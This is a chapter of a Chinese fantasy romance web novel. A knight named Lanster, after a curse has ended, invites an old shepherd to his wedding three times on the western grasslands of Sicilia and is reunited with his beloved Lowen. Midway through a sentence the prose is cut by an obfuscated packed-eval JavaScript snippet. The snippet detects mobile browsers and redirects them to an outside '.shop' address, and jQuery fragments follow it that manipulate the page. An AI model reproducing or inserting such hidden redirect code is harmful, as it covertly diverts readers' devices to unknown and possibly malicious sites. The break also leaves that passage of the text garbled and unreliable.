123. 西西里亚
作品:《副官今夜不持剑[西幻]》 六年之后,王都圣维罗斯,圣里乡大教堂钟声响起。
从正门走出一个十分高大的身影,他一身雪白,长发葳蕤长至腰际,简单地束起,一身洁白的长袍,被同样一身长袍的众人簇拥着向外走去。
“神使大人,您要返回神殿中去了吗?”
“神使大人,真是太感激您了!士兵们以后再去往森林之中,将不会那么危险了!”
“神使大人,请等一等,我们还有一个问题,关于新学习的那个祛除咒术的术法……”
城中数位受人尊敬的大牧师也在其列。
神使停止步伐转过身,整整高出众人一头多的他并不俯视——他的双目上被一层白纱覆盖,他似乎看不见。
“咒术,属于诅咒的偏种术法。就目前而言,它十分难以掌握,而且也没有必要耗费太多精力。”
四下一静,但有人却忍不住说道:
“即使诅咒已经过去了,但神使大人,我们依旧感到恐惧不安……”
说着,他忍不住低下头去,似乎害怕神使的不喜。
神使闻言却笑着摇了摇头,点头表示理解他们的担忧,道:
“那么,我们明日先研究这部分。”
得到准信的众人心中难掩兴奋,又生出了点疑惑。
近日以来,神使一直在大教堂为众人传道解惑,近乎不曾歇息,连神殿都没有返回过。
而今却步履匆匆地离开……
神使道:“我为你们请来了老师——”
一名大牧师正要看他们中资历最老的大牧师德林,四顾之下却没发现那个总是挤在神使跟前的小老头,不由疑惑。
可这一会儿愣神的功夫,神使已经脱离了他们,走向人潮喧闹的长街之中。
尽管他双目失明,但仿佛丝毫没有阻碍,穿行在人群中,四周的人们纷纷让出道路,目光虔诚地看着他远走,直直向着郊外神殿的方向的城门离去。
城门附近的一辆马车旁,一名老者抬起头,看向那道身影,目光浑浊。
马儿不耐地打着鼻响,车夫等了片刻,终于扭过头喊道:
“柯塔先生,该上路了!”
柯塔转过身,瘦削的手背上爬满了老人斑,他颤颤巍巍地上了马车。
车夫看得心焦,却无可奈何。
这个诅咒的幸存者攒了六年的钱财,不想着在有生之年花个干净,非要返回他的故乡。
可这也与他无关。
等柯塔坐稳,轻拍着马车内壁,他扬起缰绳,向城门外驶去。
——
神殿的白石砖墙已翻新,空气中正是初秋园丁们刚修剪好植物的芬芳,欧利文踏进这片清静之所,径直穿过正厅,转向花园。
花园中的三人已经聊了起来。
德林的声音高高扬起,是十分不服输的语气:
“你可别说我学不会这术法,这不,让你来,比我也就……快上那么一刻钟。”
一名青年的低笑声响起,随后紧跟着抱歉:
“我不是故意要笑您,德林先生,但是……尤利西斯比您大十多岁。”
德林的声音似乎听起来更愤怒了:
“什么意思?你认为我老了,还是尤利西斯老了?十岁可不算什么!想当年……”
欧利文走近,三人看见了他,停下单方面的争执,向他行礼。
欧利文抬手示意他们不必拘束,道:
“久闻不如一见,尤利西斯先生,近百年来难得一见的天赋者。”
尤利西斯声音平稳:“大人谬赞。”
见他对这样直接且近乎夸张的夸赞的态度十分平静,欧利文便知道自己是找对了人。
如今是后诅咒时代的第六年,在进行了结界的修缮之后,他重新返回人间,完成圣临时代未完成的事——传播牧师术法。
如今不过刚刚一个月,他便感到吃力。
这可是上一次所没有的,上一次,还有杨乐天在身边,不过如今……
他停下思索,看向这位人间的老者。
他似乎十分年迈了,那双眼睛中却并不浑浊,反倒透着一股十分清明的亮光。
欧利文在他身上感受到了类似神明一般柔和又坚定的气息。
人族的生命短暂,他们成长的蜕壳却如此清晰地保留在身上,仿佛年轮一般映照着他们存在的印记。
正是这样的人们才让欧利文一直保持着期待——人类的力量从来不可小觑。
只需要足够的条件、时间也许有一天,他们也能撼动如今撼动不了了的一切。
这时,他感知到剩下那个青年人的目光,不由得扭头,道:
“这位是?”
德林一瞥身旁人,自发开了口:
“菲尔丁,菲尔丁·弗洛兹,弗洛兹家族的次子,曾经的圣光骑士团副统领,如今不回家了。”
欧利文意识到了什么,并不追问,只点头表示理解。
他转身对着尤利西斯的方向道:
“我邀请你前来,是希望你能帮助我完成剩下的术法——从神族的术法转换到人类可以使用的术法,需要两方的配合。”
尤利西斯给了正撅着嘴的德林一个眼神,却得到一个白眼。
欧利文却不知他们在做什么,继续道:
“德林已经尽全力了,但……依旧无法达到我的要求。
因此他向我推荐了你,尤利西斯。”
德林揉揉鼻子,目光闪躲。
菲尔丁忍不住在尤利西斯身后叹了一口气。
欧利文:“请问你能接受吗?”
尤利西斯却沉默着好一会没说话,紧接着道:
“我听闻菲尔丁曾说过,王都中有一个青年十分有天赋,为什么不先考虑到他呢?”
德林和欧利文一起顿住,他们知道尤利西斯所说的是谁,但是……
欧利文:“那孩子并不能算作完全的人类。”
他声音里丝毫不觉得有异,只余剩下三人在这信息中凌乱。
德林率先回过神,清咳两声道:
“况且他已经很久没有返回王都了……”
菲尔丁好奇道:
“兰斯特的巡游还没有结束吗?”
自诅咒结束后,作为圣光骑士团团长的兰斯特却拒绝了国王赐下的爵位和大多数财物,自行请缨巡游整个王国,为人们祛除诅咒带来的恐惧余波,将圣光普照到整片大陆。
那时,这消息传遍了整个大陆,就连远在海岸线的菲尔丁等人也有所听闻。
如此不为名不为利,行军一般穿行在整个帝国内,已有六年之久。
德林发出一声哼笑。
“谁知道那小子怎么想的?
好端端的贵族不做,一边巡游一边还将身边的亲卫们都遣回王都……最近回来的那位是最后一个待在他身边的亲卫。
叫什么来着?
卡里……对,卡里。”
菲尔丁:“他如今巡游到哪里了?”
德林:“卡里说他向西而去了。”
——
大陆最西边,一片孤寂的草原接连着大海,草原仿佛一个巨大的斜坡,尽头处却仿佛被一把刀切得整齐,断面笔直地垂入海水中。
这片沐浴在海风中的草地上,牛羊成群,人们以放牧为生,地广人稀,走上半天都不见人影。
一名老牧羊人坐在岩石上,拨弄着手里的石块,投掷出去,砸在一只埋头不动的羊上,那羊甩甩耳朵,似乎得了什么指示,终于往前走了两步,好叫牧羊人不再担心。
他目光锐利,像是常盘踞在这片海涯之上的老鹰,总是能很快看清很远的地方,自然也看见那道熟悉的身影正缓慢靠近。
那是个自称骑士的士兵,只身牵着一匹好马,走进属于他的牧场,说会偶尔叨扰。
年轻人哪有不喜欢城区的?来这里做什么?这里距离最近的小镇都得走上好久的路。
但这里太荒芜了,好久不能见到人。
他自然同意。
等人近了,他大声打着招呼:
“兰——斯——特——骑——士——”
那头脚步微顿,对他挥挥手,依旧不紧不慢地走来。
兰斯特松了马绳,放它自己寻草吃,也坐在岩石上,老人的身边。
老人从草地里挑出一根草来,递给他,无声地,兰斯特接过。
老人的声音含混响起:
“西西里亚可是个好地方,成群的牛、羊,雨水充沛,土地丰沃……
只是人太少太少。
你要在这里呆多久,小子?”
兰斯特捏着手里的草,说不出,反而问道:
“西西里亚的那个传说……”
老人却打断他的话,先一步说道:
“镇上的卡缪儿结婚了,只可惜第三次通知的时候我不在,要不然还可以喝上一口酒……”
兰斯特:“三次?”
老人伸了个懒腰,站起身来,答道:
“西西里亚有一个习俗,结婚者,要将喜讯通知周围的亲朋邻居们,三次之后,才能举行婚礼。”
他说完,站起身,驱赶着羊群离开这一片,便难以听见他人的话音了。
兰斯特看向这片被海风吹拂的草原,目光宁静。
他心中蓦地升起一股孤勇,像个执拗的孩子,朝老人的背影大喊:
“请您参加我的婚礼——
兰斯特·诺瑟与洛温·阿卡索的婚礼——”
那头,老头愣住,向他举起手中的长鞭示意。
——
次年秋,老人依旧坐在那枚熟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711584|168310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悉的岩石上,喝上一口装在罐子里的酒,又放下。
他看向草原的尽头,海涯的交界处,那道身影静默地伫立在那里,久久不动。
等他返回后,老人将酒递给他,兰斯特却没接。
兰斯特:“第二次。”
“什么?”
“这是我第二次通知您,来参加我的婚礼。”
老人举着酒,看着那道孤独的身影远去,摇摇头,将剩下的酒一饮而尽。
这傻小子等了一整季,一直等到风折的花期都过了……
明年,他还会来吗?
——
又是一年秋,西西里亚的草原上,阳光正好,芳草连天,随风摇曳。
兰斯特站在草原的尽头,涯岸上。
风中传来熟悉的花香味,被那肆虐的风吹开,短暂盛开,花香也被风剪切得细碎,弥漫开来。
草叶随风而起,划过他的面颊,他伸手挡去——
一道微弱又温和的声音响起。
“兰斯特……”
他猛然睁开眼睛,那是一个一身洁白长裙的姑娘,一头深栗色的长发在风中翻飞,洁白的长裙好似一双翅膀。
蓝天之下,她的笑容灿烂,仿佛将要振翅而去。
不……不能让她飞走。
他向前踉跄一步,随后一步、一步,越来越快,直到抱住她。
今天是他停留在此的最后一天。
也是他决定向老人告知自己结婚邀约的第三次。
风停了下来,他松开手,怀中空空如也,他的眼泪也落了下来。
西西里亚有一个传说。
在西西里亚的某一片海涯上生长着一种花,每当阳光盛大、狂风正好的秋日,它会盛开。
人们也会遇到他最想遇到的一切。
这种花有个美丽的名字——风折。
夜晚,兰斯特牵着马往下方走去,一路来到镇子里,低垂着头,走进旅店。
旅店的小伙看到他,目光惊奇,说出的话也变得语无伦次:
“兰斯特,你怎么在这?
我是说,你现在不该在这里!”
兰斯特抬起疲惫的双眼,略带疑惑地看向一时口齿不清的小伙。
直到他憋红了一张脸,终于想好了措辞,门口却传来牧羊老人的声音:
“你怎么还在这,兰斯特!”
他抓过兰斯特的手将他往镇子上唯一的一家酒馆带去,兰斯特手里马的缰绳被旅店小伙好心收走,他则被带得脚下微乱。
“我不喜欢喝酒,迪卡特先生……”
迪卡特瞪了他一眼,酒馆的门却已打开,其中站着他来到这里认识的大多人,目带揶揄地看向他。
他懵懂地走进酒馆,正要询问就就发生了什么。
“结婚快乐!兰斯特!”
“结婚快乐!”
“……”
他被这突如其来的道贺弄得茫然无措,声音不自觉地低了下去:
“我还没有进行第三次通知……”
迪卡特却已推着他往更里走去,一边推着高他一个头的兰斯特,他一边说道:
“你这孩子,第三次通知都差点忘了?还是你的另一半告诉大家——”
什么另一半?
兰斯特心中升起莫大的荒诞感。
是谁在假扮他的心爱之人?
他拧起眉,自发地穿过熙攘的人群,向里走去。
在柜台边,背对着这里,坐着一个女人,她有着乌黑的长发,身形窈窕。
人们对她举杯表示祝贺,一定是她没错了。
但那绝不可能是他认识的人——就凭那黑色的发丝。
他心中升起无边的愤怒,大步向前,走至她的身后。
正这时,四周一静,似乎是在为有情人难得见面而屏息观察似的,纷纷闭上嘴看了过来。
目光中心的那个女人自然也意识到有什么不对,缓缓转过身来,与兰斯特对上视线。
她有着一双黑得发亮的眼睛,一头柔顺的黑色长发,但她是……
“洛……温?”
不会认错,即使五官中有几分并不相似,即使身形也有了很大的差别,但不会错,那就是他朝思暮想的人。
所有的愤怒、疑惑都在这一眼中蒸发殆尽,巨大的、几乎令他心脏停跳的狂喜淹没了他。
他再顾不上其他,连自己刚刚生气的情绪都难以收拾好,强势地揽住洛温的腰,一个不容抗拒的吻落了下去。
他气急了、爱极了也恨急了,那吻近乎毫无章法,引人发笑,但他已完全不在意四周人们的起哄声音越来越响,直到整个镇子都能听到酒馆里的嚎叫。
他只能听到洛温同样急促的呼吸与轻笑声交织在一起。
风没有折走他的思念。

